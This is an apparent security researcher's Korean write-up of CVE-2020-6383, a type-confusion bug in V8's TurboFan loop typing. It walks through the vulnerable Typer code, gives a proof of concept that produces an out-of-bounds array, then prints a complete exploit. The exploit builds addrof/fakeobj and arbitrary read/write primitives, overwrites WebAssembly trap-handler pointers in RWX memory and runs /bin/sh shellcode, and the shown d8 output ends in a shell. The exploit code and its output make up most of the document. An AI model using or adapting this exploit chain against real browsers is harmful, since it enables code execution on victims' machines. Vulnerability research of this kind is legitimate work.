v8 1 day CVE-2020-6383
라온화이트햇 핵심연구팀 조진호
summary
turbofan 코드에서 v8 type confusion
1051017 - chromium - An open-source project to help move the web forward. - Monorail
issue 1051017: Type inference issue
TurboFan optimize bug
Vulnerability details
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
[...]
const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
increment_type.Is(typer_->cache_->kInteger);
bool maybe_nan = false;
// The addition or subtraction could still produce a NaN, if the integer
// ranges touch infinity.
if (both_types_integer) {
Type resultant_type =
(arithmetic_type == InductionVariable::ArithmeticType::kAddition)
? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
: typer_->operation_typer()->NumberSubtract(initial_type,
increment_type);
maybe_nan = resultant_type.Maybe(Type::NaN()); // *** 1 ***
}
[...]
if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
increment_min = increment_type.Min();
increment_max = increment_type.Max();
} else {
DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
increment_min = -increment_type.Max();
increment_max = -increment_type.Min();
}
if (increment_min >= 0) {
[...]
} else if (increment_max <= 0) {
[...]
} else {
// Shortcut: If the increment can be both positive and negative,
// the variable can go arbitrarily far, so just return integer.
return typer_->cache_->kInteger; // *** 2 ***
}
취약점 발생 클래스는 Typer::Visitor::TypeInductionVariablePhi
이고 해당 코드는 루프 관련해서 최적화를 진행하다가 발생한다. 반복문들 도는 경우 for (let i = start; i < end; i+=inc)
와 같은 코드가 있다면 inc
의 부호와 start
를 보고 도는 반복문의 i
의 범위를 지정해주는 코드이다.
const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
increment_type.Is(typer_->cache_->kInteger);
먼저 여기서 both_types_integer
를 true
로 세팅한다. start
와 inc
를 숫자로 kInterger
로 설정한다.
// The addition or subtraction could still produce a NaN, if the integer
// ranges touch infinity.
if (both_types_integer) {
Type resultant_type =
(arithmetic_type == InductionVariable::ArithmeticType::kAddition)
? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
: typer_->operation_typer()->NumberSubtract(initial_type,
increment_type);
maybe_nan = resultant_type.Maybe(Type::NaN());
}
만약 설정이 되어있다면 결과의 형식을 판단하는데 이 코드에서는 inf
가 있으면 NaN
이 나올 수 있으니 검사한다고 적혀 있다. -inf
+ inf
가 NaN
이 나오는데 이런 경우이다.
// We only handle integer induction variables (otherwise ranges
// do not apply and we cannot do anything).
if (!both_types_integer || maybe_nan) {
// Fallback to normal phi typing, but ensure monotonicity.
// (Unfortunately, without baking in the previous type, monotonicity might
// be violated because we might not yet have retyped the incrementing
// operation even though the increment's type might been already reflected
// in the induction variable phi.)
Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
: Type::None();
for (int i = 0; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}
그리고 만약 NaN
이 나오거나, 두 숫자가 kInteger
가 아닌 경우 range를 지정할 수 없다고 판단하여 들 어온 파라미터의 형식을 모두 넣어주고 타입을 되돌려준다.
if (increment_min >= 0) {
[...]
max = std::min(max, bound_max + increment_max);
}
max = std::max(max, initial_type.Max());
} else if (increment_max <= 0) {
[...]
min = std::max(min, bound_min + increment_min);
}
min = std::min(min, initial_type.Min());
} else {
// Shortcut: If the increment can be both positive and negative,
// the variable can go arbitrarily far, so just return integer.
return typer_->cache_->kInteger;
}
[...]
return Type::Range(min, max, typer_->zone());
그리고 inc
의 부호에 따라 range
를 만들고 리턴하는데 부호가 양수([0, inf])
나 음수([-inf, 0])
가 아닌 경우에는 그냥 kInteger
를 리턴한다. kInteger
는 [-V8_INFINITY, V8_INFINITY]
의 범위를 가진다.
지금까지 코드를 보면, kInteger
타입으로 리턴을 하게 하려면 kInteger
타입의 start
와 inc
가 있어야 하며 inc
의 부호가 음수와 양수를 가져야한다는 것을 알 수 있다. 그러면서 start
와 inc
를 더했을 때 NaN
이 나오게 해야 한다.
if (both_types_integer) {
Type resultant_type =
(arithmetic_type == InductionVariable::ArithmeticType::kAddition)
? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
: typer_->operation_typer()->NumberSubtract(initial_type,
increment_type);
maybe_nan = resultant_type.Maybe(Type::NaN());
}
이 코드를 보면 한번만 연산하여 NaN
인지 판단한다. 하지만 반복문 내에서 inc값이 바뀐다면 이 코드를 우회하여 NaN
을 만들 수 있다.
PoC
function trigger() {
var x = -Infinity;
var k = 0;
for (var i = 0; i < 1; i += x) {
if (i == -Infinity) {
x = +Infinity;
}
if (++k > 10) {
break;
}
}
var value = Math.max(i, 1024);
value = -value;
value = Math.max(value, -1025);
value = -value;
value -= 1022;
value >>= 1; // *** 3 ***
value += 10; //
var array = Array(value);
array[0] = 1.1;
return [array, {}];
};
for (let i = 0; i < 20000; ++i) {
trigger();
}
console.log(trigger()[0][11]);
oob가 가능한 코드이다. i
에 실제 값은 NaN
인데 kInteger
타입으로 되어있다. 실제 oob 타입을 만드는 변수는 아래 연산으로 만들어진다.
var value = Math.max(i, 0x100); // [0x100, inf]
value = -value; // [-inf, -0x100]
value = Math.max(value, -0x101); // [-0x101, -0x100]
value = -value; // [0x100, 0x101]
value -= (0x100); // [0x2, 0x3]
value >>= 1; // NaN >> 1 = 0
value += 10; // 0 + 10
변수 range의 범위를 조정하여 3번째 줄에서 무조건 value
를 선택하게 만들어 실제 range와 값을 다르게 만들었다. JIT이 적용되지 않은 경우에는 NaN
으로 모두 NaN
이 나오다가 밑에서 value >>= 1
에서 0으로 세팅된다. JIT이 적용되면 NaN
(0)인 값을 가진채로 value -= 0x100
을 하게 되어 음수가 되는데 range
는 [2, 3]
이라서 Array를 생성할 때 체크를 우회하게 된다.
exploit
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
var yee2;
function trigger() {
var x = -Infinity;
var k = 0;
for (var i = 0; i < 1; i += x) {
if (i == -Infinity) {
x = +Infinity;
}
}
var value = Math.max(i, 0x100); // [0x100, inf]
value = -value; // [-inf, -0x100]
value = Math.max(value, -0x101); // [-0x101, -0x100]
value = -value; // [0x100, 0x101]
value -= (0x100); // [0x2, 0x3]
value >>= 1;
value += 10;
var array = Array(value);
array[0] = 1.1;
arr2 = [{}, 2.2, 2.2, 2.2, 2.2, 2.2];
// yee2 = arr2;
// var b = [2.2, 2.2, 2.2, 2.2, 2.2];
yee2 = arr2;
return [array, {}];
};
trigger();
for (let i = 0; i < 100000; ++i) {
trigger();
}
yee = trigger()[0];
yoff = 0;
function addrof(o) {
yee2[0] = o;
yee2[1] = o;
return yee[yoff].f2i() >> 32n;
}
function fakeobj(o) {
o = o & 0xffffffffn;
yee[yoff] = (o << 32n | o).i2f();
return yee2[0];
}
function main() {
for (let i = 10; i < 0x100; i-=-1) {
if ((yee[i].f2i() & 0xffffffffn) == 0xcn) {
yoff = i+1;
break;
}
if ((yee[i].f2i() >> 32n) == 0xcn) {
yoff = i+1;
break;
}
}
console.log("yoff", yoff);
let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
console.log("WASM start");
var wasm_code = new Uint8Array([0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x85, 0x80, 0x80, 0x80, 0x0, 0x1, 0x60, 0x0, 0x1, 0x7f, 0x3, 0x82, 0x80, 0x80, 0x80, 0x0, 0x1, 0x0, 0x4, 0x84, 0x80, 0x80, 0x80, 0x0, 0x1, 0x70, 0x0, 0x0, 0x5, 0x83, 0x80, 0x80, 0x80, 0x0, 0x1, 0x0, 0x1, 0x6, 0x81, 0x80, 0x80, 0x80, 0x0, 0x0, 0x7, 0x91, 0x80, 0x80, 0x80, 0x0, 0x2, 0x6, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x2, 0x0, 0x4, 0x6d, 0x61, 0x69, 0x6e, 0x0, 0x0, 0xa, 0x8a, 0x80, 0x80, 0x80, 0x0, 0x1, 0x84, 0x80, 0x80, 0x80, 0x0, 0x0, 0x41, 0x2a, 0xb]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
// found a
offset = (addrof(a) - addrof(yee) - 0x10n) / 8n
console.log("offset", offset);
function read64(addr) {
let r = (addr-0x8n) & 0xffffffffn;
yee[offset] = (r << 32n | r).i2f();
return a[0].f2i();
}
function write64(addr, value) {
let r = (addr-0x8n) & 0xffffffffn;
yee[offset] = (r << 32n | r).i2f();
a[0] = value.i2f();
return true;
}
// leak rwx address
let wasm_instance_addr = addrof(wasm_instance);
console.log("wasm_instance_addr", wasm_instance_addr.toString(16));
let rwx = read64(wasm_instance_addr+0x68n);
console.log("rwx", rwx.toString(16));
// write
let arr = new ArrayBuffer(0x100);
let arr_addr = addrof(arr);
write64(arr_addr+0x14n, rwx);
// alloc
shellcode = [ 0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x1697268, 0x24348101, 0x1010101, 0x6a56f631, 0x1485e08, 0x894856e6, 0x6ad231e6, 0x50f583b];
let z = new Uint32Array(arr);
for (let i = 0; i < shellcode.length; i-=-1)
z[i] = shellcode[i];
let zz = new BigUint64Array(arr);
for (let i = 0; i < 0x20; i-=-1)
zz[0x80/8 + i] = rwx;
// fail wasm exception
f();
}
setTimeout(main, 500);
address compression이 적용된 v8을 익스하는건 처음이라 “이렇게 하면 된다~” 라는걸 따라해서 코드를 만들어 봤다. webassembly으로 rwx
를 만들면 에러 핸들링 하는 함수들의 포인터가 rwx
영역의 시작지점 부근에 쌓이길래 이거로 트리거 했다.
0x000029024a482048│+0x0048: 0x00007ffff61d4da0 → <Builtins_ThrowWasmTrapUnreachable+0> push rbp
0x000029024a482050│+0x0050: 0x90660000000225ff
0x000029024a482058│+0x0058: 0x00007ffff61d4f00 → <Builtins_ThrowWasmTrapMemOutOfBounds+0> push rbp
0x000029024a482060│+0x0060: 0x90660000000225ff
0x000029024a482068│+0x0068: 0x00007ffff61d5060 → <Builtins_ThrowWasmTrapUnalignedAccess+0> push rbp
0x000029024a482070│+0x0070: 0x90660000000225ff
0x000029024a482078│+0x0078: 0x00007ffff61d51c0 → <Builtins_ThrowWasmTrapDivByZero+0> push rbp
0x000029024a482080│+0x0080: 0x90660000000225ff
0x000029024a482088│+0x0088: 0x00007ffff61d5320 → <Builtins_ThrowWasmTrapDivUnrepresentable+0> push rbp
0x000029024a482090│+0x0090: 0x90660000000225ff
[...]
0x000029024a482218│+0x0218: 0x00007ffff61fc340 → <Builtins_DoubleToI+0> push rcx
0x000029024a482220│+0x0220: 0x90660000000225ff
0x000029024a482228│+0x0228: 0x00007ffff5fdfec0 → <Builtins_I32PairToBigInt+0> int3
0x000029024a482230│+0x0230: 0x90660000000225ff
0x000029024a482238│+0x0238: 0x00007ffff5fdfce0 → <Builtins_I64ToBigInt+0> push rbp
0x000029024a482240│+0x0240: 0x90660000000225ff
0x000029024a482248│+0x0248: 0x00007ffff5fbb4e0 → <Builtins_RecordWrite+0> push rbp
0x000029024a482250│+0x0250: 0x90660000000225ff
0x000029024a482258│+0x0258: 0x00007ffff5fdbf60 → <Builtins_ToNumber+0> push rbp
이런 핸들러들이 쌓여있는데 여기를 내가 원하는 rwx
로 덮어버리면 웹어셈 코드에서 해당 에러가 났을 때 그쪽으로 뛴다.
임 ~/hdd/v8/v8/out/x64.release ./d8 ~/Workspace/b.js 73f88b5f69
yoff 11
WASM start
offset 51
wasm_instance_addr 8211ed5
rwx 115abb56b000
$ id
uid=1000(wwwlk) gid=1000(wwwlk) groups=1000(wwwlk),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)
$ pwd
/hdd/v8/v8/out/x64.release
reference
https://bugs.chromium.org/p/chromium/issues/detail?id=1051017